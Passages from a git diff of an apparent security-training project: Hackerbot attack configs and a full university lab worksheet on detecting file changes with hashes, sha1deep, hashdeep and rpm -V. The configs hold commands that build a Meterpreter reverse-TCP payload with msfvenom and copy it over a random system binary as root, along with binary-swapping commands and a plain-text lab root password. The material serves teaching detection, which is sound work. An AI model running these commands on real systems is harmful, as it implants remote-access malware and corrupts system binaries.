1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file (hint: sha1deep, hashdeep, or shasum) + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum) + mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo $mv1 $mv2 + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum) + srcf=`find /etc/ -type f | sort -R | head -n 1`; cp $srcf $srcf.$RANDOM + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + + + + + + + binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname + + Going to replace a binary file in /bin/ or /usr/bin/ with malware, detect which file has changed (hint: sha1deep, hashdeep, or shasum) + + + + + + + + + + + + + + + + + + What is the file that was created? + {{shell_command_output_first_line}} + :) <%= $flags.pop %> + + + <%= File.read TEMPLATES_PATH + 'fim_package_management.md.erb' %> + + + + + + binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname + + Trojanising a file in /usr/bin/, use package management to detect which file changes + + + + + + + + + + + + + + + + + + What is the file that was created? + {{shell_command_output_first_line}} + :) <%= $flags.pop %> + + + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md new file mode 100644 index 000000000..6fa8301ef --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md @@ -0,0 +1,959 @@ +# Integrity Management: Protecting Against and Detecting Change + +## Introduction + +These tasks can be completed on the openSUSE\_42.1 VM. + +This lab could be completed on most RPM-based Linux systems with these +tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working +together). + +## Preparation + +If you are working on campus in the IMS labs using the oVirt online +labs, [*click here for instructions on how to login on campus in the IMS +labs and create VMs from +templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing). + +If you are working remotely using the oVirt online labs, [*click here +for instructions on how to login via VPN and create VMs from +templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing). + +The oVirt system is a new online lab infrastructure hosted here at Leeds +Beckett. This infrastructure is **currently on trial, as a pilot**. +There is a good chance there will be some technical issues, and not +every lab will be available via this system. However, if you are happy +to benefit from this experiment, please keep in mind that you may need +to fall back to one of the above methods. + +If you are working remotely having downloaded our VMs or by copying them +when you were on campus, [*click here for instructions on how to +download VMware Player and configure the VMs to run +remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY). + +If you are on campus using the IMS system, [*click here for instructions +on how to use the IMS system and VM download +scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA). + +Start these VMs: + +- openSUSE\_42.1 (user: student password: student) + + - Two copies if working alone (Hint: change the desktop background + > of one VM so that you can easily keep track of which VM you + > are working on) + +Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT +be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the +root account -- that is bad practice, and should always be avoided. + +Some of these exercises can be completed with a classmate (or simply +using two VMs), and assumes root access is available to each other's +systems via an ssh server. + +> *Distance learning students*: If you would like to work with someone +> else from the course, please contact each other via the course Google +> group and share IP addresses. + +**On openSUSE**: + +Install the required packages: + +> sudo zypper install rsync md5deep perl openssh + +## Integrity + +Security is often described in terms of confidentiality, integrity, and +availability. Protecting the integrity of information involves +preventing and detecting unauthorised changes. In many commercial +organisations integrity of information is the highest priority security +goal. Managing who is authorised to make changes to databases or files, +and monitoring the integrity of resources for unauthorised changes is an +important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, +involves successfully managing a variety of security mechanisms, such as +authentication, access controls and file permissions, firewalls, and so +on. + +> On Linux systems this can include managing passwords, packet filtering +> IPTables rules, standard Unix file permissions (rwx), Linux extended +> attributes (including ACLs for detailed authentication, labels for +> mandatory access control (MAC), and Linux Capabilities). Linux (like +> other Unix-like and Unix-based systems) has a long history of adding +> new security features as and when they are required. +> +> Note that many security controls such as those listed above are very +> important for protecting the integrity of files, but are beyond the +> scope of this lab. Here the focus is on techniques that are *entirely* +> focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of +unauthorised changes. + +### Protecting integrity with file attributes + +Unix systems (such as Linux or FreeBSD) include file attributes that, +amongst other features, can make files immutable or append only. Setting +these file attributes can provide an effective layer of security, and +yet could be considered one of the more obscure Unix security +features[^1]. Note that this feature is dependent on the use of a +compatible filesystem (most Unix filesystems, such as ext, are +compatible with file attributes). Once configured, file attributes can +even prevent root (the all-powerful Unix superuser) from making changes +to certain files. + +Open a terminal console (such as Konsole from +![](media/media/image3.png) KDEMenu → System → Konsole). + +Start by creating a file with some content. Run: + +`` + sudo bash -c 'cat > /var/log/mylogfile' + `` +> +> (Type some content, then press Ctrl-D to finish and return to the +> prompt.) + +Look at the details of the file: + +> ls -la /var/log/mylogfile +> +> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile + +As we can see above, the file is owned by root, who has read-write +access – exploring Unix file permissions further is outside the scope of +this lab, but will be covered elsewhere. + +Run: + +> lsattr /var/log/mylogfile +> +> -------------e- /var/log/mylogfile + +The ‘e’ flag is common on ext filesystems, may or may not be present +when you run the above, and does not really concern us. From a security +perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man +page for chattr to find out more about these flags and what they do: + +> man chattr +> +> (Press q to leave the manual page) + +Set the ‘i’ flag using the chattr command: + +> sudo chattr +i /var/log/mylogfile + +Now try to delete the file and see what happens: + +> rm /var/log/mylogfile + +Denied! Opps, that’s right, root owns the file (since you created it +with sudo)! Use root to try to delete the file: + +> sudo rm /var/log/mylogfile + +It still didn’t work! That’s right, even root can’t delete the file, +without changing the file’s attributes back first. + +Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”). + +Now run a command to set the ‘a’ flag on /var/log/mylogfile. + +If you have done so correctly, attempting to overwrite the file with a +test message should fail: + +> sudo bash -c 'echo "test message" > /var/log/mylogfile' +> +> This should produce an error, since ‘>’ causes the output of the +> program to be written to the specified log file, which is not allowed +> due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +> sudo bash -c 'echo "*your-name*: test message" **>>** +> /var/log/mylogfile' +> +> This should succeed, since ‘>>’ causes the output of the program +> to be appended (added to the end of) to the specified log file, which +> is allowed. Use your name above, for example “echo "Cliffe: test +> message" >> /var/log/mylogfile”. + +View your changes at the end of the file: + +> tail /var/log/mylogfile + +This has obvious security benefits, this feature can be used to allow +files to be written to without altering existing content. For example, +for ensuring that log files can be written to, but avoiding giving +everyone who can write to the file the ability to alter its contents. + + +### Protecting integrity with read-only filesystems + +On Unix, a filesystem is mounted to a particular point in the directory +structure; for example, a USB thumb drive may be mounted to +/media/myUSB/. Some filesystems will automatically mount read-only; for +example, if you insert a CD-ROM, since those disks are physically +read-only. It is possible to optionally mount almost any filesystem, +such as a USB or even a directory, in read-only mode, which will make it +practically impossible to write changes to it (without remounting or +accessing the drive/directory in other ways, which normally only root +can do). + +> In a command prompt, run: +> +> mount +> +> Note that many of the devices and directories have been mounted for +> read and write access (**rw**). For security reasons, it can be safer +> to mount things as read-only, when we don’t need to be able to make +> changes to the contents. +> +> Ordinary users can only read the /etc directory but the superuser root +> who owns the /etc directory can read and write to it. In the following +> example, you are going to mount the /etc directory to a mount point +> (another directory within the filesystem) and the contents of the /etc +> directory will be accessible via the mount point. +> +> List the contents of the /etc directory so you are familiar with its +> contents: +> +> ls /etc +> +> Create a new directory to be the mount point: +> +> mkdir /home/student/test +> +> Mount the /etc directory to the new mount point: +> +> sudo mount -o bind /etc /home/student/test +> +> Make sure the /etc directory is accessible via the test directory +> mount point: +> +> ls /home/student/test +> +> Ordinary users can only read but the superuser root can still write to +> the directory. Test this by creating a new file as the superuser root +> in the /home/student/test directory: +> +> sudo touch /home/student/test/file1 +> +> Check that a new file has been created using the following commands +> +> ls -l /home/student/test/fi\* +> +> ls -l /etc/fi\* +> +> We can use this techniques to make filesystems and directories +> read-only. In the next example you will remount the etc in read-only +> mode so that even the superuser root who owns the /etc directory +> cannot make changes to its contents via the mount point. +> +> sudo mount -o remount,ro,bind /etc /home/student/test +> +> Test this by trying creating a new file as the superuser root in the +> /home/student/test directory: +> +> sudo touch /home/student/test/file2 +> +> This should prevent changes being accidently being made to important +> configuration files in the /etc directory. +> +> Remount the the /etc directory as read-only to itself: +> +> sudo mount -o remount,ro,bind /etc /etc + +Mounting read-only can be an effective way of protecting resources that +you don’t need to make any changes to. Read-only mounting is +particularly effective when an actual disk resides externally, and can +be enforced remotely. For example, when sharing files over the network. + +Note that mounting read-only may be circumvented by root (or a user with +enough privilege) via direct access to the device files (/dev/sdc1 in +the example above), or by re-mounting as read-write. + +Aside: in new versions of Linux, it is also possible to have a directory +(one part of what is on a disk) present in the directory structure twice +with different mount options (for example, /home/cliffe and +/home/cliffe-read-only). This can be achieved by bind mounting, and then +remounting to set the bind mount to read only. More information: +[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/) + +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest +defenses can fail, and when they do we want to know about it! In order +to respond to a security incident we need to detect that one has +occurred. One way we do so, is to detect changes to files on our system. + +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the +system or resources in a clean state. One advantage of this approach is +that we cannot only detect that files have changed, but also see exactly +how they differ. + +You can (and, if possible, should) **conduct this exercise with a +classmate**. + +Make a backup of your /etc/passwd file: + +> cp /etc/passwd /tmp/passwd\_backup + +This file (/etc/passwd) is an important file on Unix systems, which +lists the user accounts on the system. Although historically the hashes +of passwords were once stored here, they are now typically stored in +/etc/shadow. Changes to the /etc/passwd file are usually infrequent – +such as when new user accounts are created – and changes should only be +made for authorised purposes. + +At this point, also make sure you have a backup of any work. + +If you are working with a classmate or using two VMs, once you (and your +classmate or on the other VM) have saved a backup copy of your own +passwd file using the above command, then connect to your classmate’s +computer (other VM) using ssh: + +> Set your root password to a password you will share with your +> classmate: +> +> sudo passwd +> +> Enable your SSH server: +> +> sudo /sbin/service sshd start +> +> Open port 22 for ssh access to your computer +> +> Click KDEMenu → System → Yast +> +> Click Firewall in the Security and Users section +> +> Click “Allowed Services” +> +> Choose “Secure Shell Server” from the “Service to Allow” drop down +> list +> +> Click Add to add ssh to the list of allowed services. +> +> Click Next → Finish and close Yast +> +> Find your IP address using ifconfig, and tell your classmate your IP +> address and root password. +> +> ssh *their-ip-address* +> +> (Where *their-ip-address* is as noted earlier.) You will be prompted +> for student account password. +> +> Switch to the root user (you will be prompted for the root password): +> +> su - +> +> If you do not know each other’s root password, then feel free to log +> each other in on an ssh session as root. + +Now that you have root access to their system[^2], add a new user to +their computer... Your aim is to make the new account hard to notice. If +you are working alone, just do this on your own system: + +> useradd *new-username* +> +> Where new-username, is some new name. Don’t tell your classmate the +> name of the account you have created. You may want to create a +> username that looks innocent. + +To make things even more interesting, edit the /etc/passwd file and move +the new user account line somewhere other than right at the bottom, so +that it is less obvious: + +> vi /etc/passwd +> +> Move the cursor onto the line representing your new account (probably +> at the bottom). +> +> In vi type: +> +> :m *-number* +> +> Where number is the number of lines to move up, for example: “:m -20” +> will move the currently selected line up 20 lines, “hiding” the new +> user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Now exit ssh: + +> exit + +If you are working with a together, look at the changes your classmate +made on your computer, and try to spot the new user account: + +> less /etc/passwd +> +> (q to exit) + +It’s not as easy as it sounds, especially if your system has lots of +user accounts. + +Since you have a backup of your passwd file, you can compare the backup +with the current passwd file to determine it has been modified. One such +tool for determining changes is diff. Diff is a standard Unix command. +Run: + +> diff -q /tmp/passwd\_backup /etc/passwd + +Diff should report that the two files differ. Diff can also produce an +easy to read description of exactly how the file has changed. This is a +popular format used by programmers for sharing changes to source code: + +> diff -u /tmp/passwd\_backup /etc/passwd + +There are many advantages to the comparison of backups approach to +detecting changes, but it also has its limitations. To apply this +approach to an entire system, you will need a fairly large amount of +either local or network shared storage, and writes need to be controlled +to protect the backups, yet written to whenever authorised changes are +made to keep the backup up-to-date. Also, when the comparisons are made +substantial disk/network access is involved, since both both sources +need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did +you think of editing your classmates backup passwd file? This is related +to a major issue when checking for changes to the system: if your system +has been compromised, then you can’t necessarily trust any of the local +software or files, since they may have been replaced or modified by an +attacker. For that reason, it can be safer to run software (such as +diff) from a separate read-only storage. Yet that still may not be +enough, the entire operating system could be infected by a rootkit. + +Aside: Filesystems, such as btrfs, that support history and snapshots +can also be helpful for investigating breaches in integrity. + +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes +of files in their known good state. Rather than storing and comparing +complete copies, a one way hash function can be used to produce a fixed +length hash (or “digest”), which can be used for later comparisons. +Hashes have security properties that enable this use: + +- Each hash is unique to the input + +- It is extremely difficult (practically impossible) to find another + > input that produces the same hash output + +- Any change to the input (no matter how minor) changes the output + > hash dramatically + +We can store a hash and later recompute the hash, to determine whether +the file has changed (if the hash is different), or it is exactly the +same (if the hash is the same). If you have studied digital forensics, +many of these concepts will be familiar to you, since hashes are also +commonly used for verifying the integrity of digital evidence. + +Generate an MD5 hash of your backup password file, which you copied +above: + +> md5sum /tmp/passwd\_backup + +Now calculate a hash of your current passwd file: + +> md5sum /etc/passwd + +If the generated hashes are different, you know the files do not have +exactly the same content. + +Note that using hashes, there is no need to have the backup on-hand in +order to check the integrity of files, you can just compare a newly +generated hash to a previous one. + +Repeat the above two commands using shasum rather than md5sum. SHA1 and +SHA2 are considered to be more secure than the “cryptographically +broken” MD5 algorithm. Although MD5 is still in use today, it is safer +to use a stronger hash algorithm, since MD5 is not collision-resistant, +meaning it is possible to find multiple files that result in the same +hash. SHA1 is considered partially broken, so a new algorithm such as +SHA2 is currently a good option. There are a number of related commands +for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and +so on. These commands (as well as those in the next section) are readily +available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously +generated hashes. A number of these kinds of tools exist, and these can +be considered a form of host-based intrusion detection system (HIDS), +particularly if the checking happens automatically. One of the most well +known integrity checkers is Tripwire, which was previously released open +source; although, new versions are closed source and maintained by +Tripwire, Inc, with a more holistic enterprise ICT change management +focus. There are other tools similar to Tripwire, such as AIDE (Advanced +Intrusion Detection Environment), and OSSEC (Open Source Host-based +Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check +a list of file hashes. + +Create an empty file, where *your-name*, is your actual name: + +> touch *your-name* + +Run the following to generate a file containing hashes of files we can +later check against: + +> shasum *your-name* >> /tmp/hash.sha +> +> shasum /etc/passwd >> /tmp/hash.sha +> +> sudo shasum /etc/shadow >> /tmp/hash.sha +> +> shasum /bin/bash >> /tmp/hash.sha +> +> shasum /bin/ls >> /tmp/hash.sha + +Look at the contents of our new hashes file (Q to quit when done): + +> less /tmp/hash.sha + +Now use your new hash list to check that nothing has changed since we +generated the hashes: + +> shasum -c /tmp/hash.sha + +Why does shasum fail to check the integrity of the shadow file? + +Make a change to our empty “*your-name*” file: + +> echo "hello" > *your-name* + +Check whether anything has changed since we generated hashes: + +> shasum -c /tmp/hash.sha + +You should see a nice explanation of the files that have changed since +generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a +Perl script): + + #!/usr/bin/perl + + # Copyleft 2012, Z. Cliffe Schreuders + + # Licenced under the terms of the GPLv3 + + use warnings; + + use strict; + + my %files\_hashes = ( + + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + + ); + + foreach my \$file\_entry (keys %files\_hashes) { + + my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`; + + chomp(\$hash); + + if(\$hash ne \$files\_hashes{\$file\_entry}){ + + warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected + \$files\_hashes{\$file\_entry})\\n"; + + } else { + + print "File unmodified: \$file\_entry (hash was \$hash, as + expected)\\n"; + + } + + } + +This script simply iterates over a list of file paths with SHA1 hashes +(stored in an associative array), and runs sha1sum for each one to check +whether the files are still the same. + +Save the script as checker.pl (Help: you may wish to install the default +KDE GUI text editor Kate, if it is not already installed under the +Utlities menu. You should be able to copy the script and paste it into +Kate to save it as checker.pl. Kate can be installed using the following +command: “sudo zypper install kate”) + +Then run the script with: + +> perl checker.pl + +Are the files reported as unmodified, or have they changed? Why might +they be different to when I wrote the script? + +##### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for +different hash algorithms) can recursively walk through directories (and +into all contained subdirectories) to generate and check lists of +hashes. + +Run: + +> sudo sha1deep -r /etc +> +> If the md5deep command is not available, install it: +> +> On openSUSE this can be done by first running “cnf sha1deep”, to find +> the name of the package containing the program, then run the install +> command it gives you, such as “sudo zypper install md5deep”. +> +> If you get “PackageKit is blocking zypper”, then select “no”, and kill +> PackageKit, by running “kill -9 *pid*”, where *pid* is the number +> reported by the previous command. Now run the above again. +> +> If the zypper command is stuck on refreshing a repository, then press +> “Ctrl-C”, “a” (for abort), then proceed with the installation as per +> normal. +> +> Once the required software is installed, try the sha1deep command +> again. + +The output of the above command will include hashes of every file in +/etc, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +> man sha1deep +> +> Figure out what the -r flag does. +> +> (Q to quit) + +We can save (redirect) this output to a file so that we have a record of +the current state of our system’s configuration: + +> sudo sha1deep -r /etc > /tmp/etc\_hashes + +This may take a minute or so, while the program calculates the hashes +and sends them to standard out (known as stdout), which is then +redirected to the etc\_hashes file. + +Next, let's compare the size of our list of hashes, with the actual +content that we have hashed... + +See how big our list of hashes is: + +> ls -hs /tmp/etc\_hashes +> +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc: + +> sudo du -hs /etc +> +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, the list of hashes is much smaller. + +If you are **working with a classmate**, log into their system using ssh +(as done previously). If you are working alone, simply run all the +commands on your own system. + +Create a new file somewhere in /etc/, containing your name. Name the +file whatever you like (for example /etc/test), although the more +inconspicuous the better. + +> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing +> your name, “Esc”, “:wq”. + +Also, change an existing file in /etc on their system, but please do be +careful to only make a minor change that will **not cause damage to +their system**. For example, you could use vi to edit /etc/hostname +(“sudo vi /etc/hostname”), and add a comment to the file such as +“\#your-name: bet you can’t find this comment!” + +You can now “exit” the ssh session. + +**On your own system**, lets try to identify what the “attacker” has +done to our system... + +Now that we have a list of hashes of our files, use shasum to check if +anything has changed using our newly generated list of hashes +(/tmp/etc\_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by +checking all of the files it is told to check (possibly recursing over +all files in a directory) against a list of hashes, and reporting +whether any files it checked did not (or did, depending on the flags +used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash +previously generated: + +> sudo sha1deep -X /tmp/etc\_hashes -r /etc + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +> sudo cp /etc/passwd /etc/passwd.backup + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or +sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more +coverage when it comes to detecting files that have moved, changed, or +created. + +Generate a hash list for /etc using hashdeep: + +> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes + +Hashdeep stores hashes in a different format than the previous tools. +Have a look: + +> less /tmp/etc\_hashdeep\_hashes +> +> (q to quit) +> +> Note that the output includes some more information, such as the file +> size for each file. + +Delete the new file that your “attacker” (the person who sshed into your +system) created earlier: + +> sudo rm /etc/*whatever-the-filename-was* + +Conduct a hashdeep audit to detect any changes: + +> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc +> +> Note, that this can take a while, so feel free to start working +> through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the +default message does not provide any information as to why an audit has +failed: + +> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc + +Consult the man page for information about what each of the above flags +do. + +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, +install, and update software. The package management system has a +database that keeps track of all the files for each program or software +package. Depending on the package management system used, the database +may maintain hashes in order to detect changes to files since install. +RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes +of each file that is included in software packages. There are commands +that can be used to detect changes to files that have occurred since +being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of +files to not match the “fresh” versions that were installed: for +example, configuring a system for use will involve editing configuration +files that were distributed with software packages. + +The “rpm” command has a -V flag for verifying the integrity of packages. + +Choose any system file on the computer, such as /etc/securetty. To +determine which package the file belongs to: + +> rpm -q --whatprovides *any-file-you-chose* +> +> Where any-file-you-chose is any file such as /etc/securetty. + +The output of that command the package-name, and is required in the next +step. + +Check the integrity of the file: + +> rpm -V *package-name* +> +> Where package-name is the output from the previous command. + +An example from the output would be: + +> 5S.T..... c /etc/securetty + +Which means, it is a config file (c), and: + +- S – file Size differs + +- M – Mode differs (includes permissions and file type) + +- 5 – MD5 sum differs + +- D – Device major/minor number mismatch + +- L – readLink(2) path mismatch + +- U – User ownership differs + +- G – Group ownership differs + +- T – mTime differs + +- P – caPabilities differ + +Use the above information to understand the output from your above rpm +-V command. + +Next verify the integrity of all of the packages on the entire system +(this may take a while): + +> rpm -Va + +Try to understand the cause of any files failing the integrity checks. + +Consider the limitations of this approach: what files will (and won’t) +this approach to integrity management cover? + +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a +system is compromised, you may not be able to trust any of the tools on +the system, or even the operating system itself to behave as expected. +In the case of a security compromise, your configuration files may have +been altered, including any hashes you have stored locally, and tools +may have been replaced by Trojan horses. For this reason it is safer to +run tools over the network or from a removable drive, with read-only +access to protect your backups and hashes. Even then, the +OS/kernel/shell may not be telling you the truth about what is +happening, since a rootkit could be concealing the truth from other +programs. + +### Problem-based tasks + +#### Choosing files for integrity checking + +Fill in the table below with a number of files on a Unix or Windows +system whose integrity should be monitored for security purposes: + + **Filename** **Description** **Security reason for monitoring integrity** + --------------------- ------------------------- --------------------------------------------------------------------------------------------------------------------- + *Unix: /etc/passwd* *List of user accounts* *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system* + + + + + + + + + + + +**Complete the table above, with a number of Unix/Windows files that +should be monitored for integrity, as evidence that you have completed +this part of the task.** + +**Label it or save it as “Integrity-A1”.** + +Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a +cron job, so that every hour the integrity of some important files are +checked, and any errors are emailed to root. + +Hints: Any output on standard error (stderr) on a cron job results in a +local email to root. As root, type “mail” to read the local emails. Run +“crontab -e” to add scheduled tasks. Google will certainly help here. + +Help: You may find the following links if you have not used cron before +to run scheduled tasks. + +[*Click here for an openSUSE +Video*](https://www.youtube.com/watch?v=bQfza9aLjss) + +[*Click here for a cron +tutorial*](http://www.computerhope.com/unix/ucrontab.htm) + +[*Click here for cron +examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/) + +**Take screenshots of an hourly cronjob rule, and email with an +integrity report from md5sum/deep or hashdeep, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A2”.** + +Add to your above solution, by considering and implementing some +protection against modifications to your hash file/database. + +**Take a screenshot of your configuration for protection of the hash +file (and include a one sentence description), as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A3”.** + +Install either OSSEC (Open Source Host-based Intrusion Detection +System), AIDE (Advanced Intrusion Detection Environment), or Tripwire +(if you can find a copy), and use it to monitor the integrity of your +files. Modify a file named *your-name* (your actual name) and view a +report or alert that the integrity of the file has been compromised. + +**Take a screenshot of a report from OSSEC or AIDE that a file named +after you has been altered, as evidence that you have completed this +part of the task.** + +**Label it or save it as “Integrity-A4”.** + +Add to the integrity monitoring script given earlier, to store and +retrieve the hashes from a file. + +For extra marks, protect the hashes using a HMAC, with user interaction +to enter a password. + +**Save your modifications of the script, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A5”.** + +### Resources + +An excellent resource on the subject of integrity management is Chapter +20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, +by Garfinkel et al (2003). + +[^1]: Setting a file to immutable (and therefore impossible to simply + delete) can be an effective prank against the uninitiated in Unix + ways. + +[^2]: It is obvious that there are risks associated with knowing each + other’s root passwords! Obviously, use this knowledge responsibly to + work together to complete the tasks. + +## License + +![](media/media/image4.png) + +This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons +Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb new file mode 100644 index 000000000..b7eae2de9 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb @@ -0,0 +1,448 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$main_user}/#{$files.sample}" + $example_dir = "/home/#{$main_user}/personal_secrets/" + + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 14 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me. + + + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + When you are ready, simply say 'ready'. + 'Ready'? + Better hurry, the attack is imminent... Let me know when you're 'ready'. + Ok, I'll do what I can to move things along... + Moving things along to the next attack... + Ok, next attack... + Ok, I'll do what I can to back things up... + Ok, previous attack... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last attack for now. You can rest easy, until next time... (End.) + That was the last attack. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Hacking in progress... + Attack underway... + Here we go... + We are in to your system. + You are pwned. + We have shell. + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things 